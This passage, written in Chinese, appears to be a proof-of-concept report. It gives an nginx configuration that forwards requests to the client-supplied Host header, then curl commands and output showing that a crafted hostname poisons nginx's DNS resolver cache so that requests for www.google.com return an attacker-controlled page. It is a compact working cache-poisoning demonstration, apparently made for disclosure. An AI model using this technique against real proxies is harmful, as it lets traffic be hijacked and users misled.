使用以下nginx.conf:
events {
worker_connections 1024;
}
http {
resolver 4.2.2.4;
server {
listen 8080;
location / {
proxy_pass http://$http_host$request_uri;
}
}
}
然后运行curl验证缓存中毒:
$ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'
http://127.0.0.1:8080/
<html>
<body>
Ho hum, nothing to see here, move along please.
</body>
</html>
$ curl -H 'Host: www.google.com' http://127.0.0.1:8080/
<html>
<body>
Oops, you shouldn't be asking me for http://www.google.com/!
</body>
</html>
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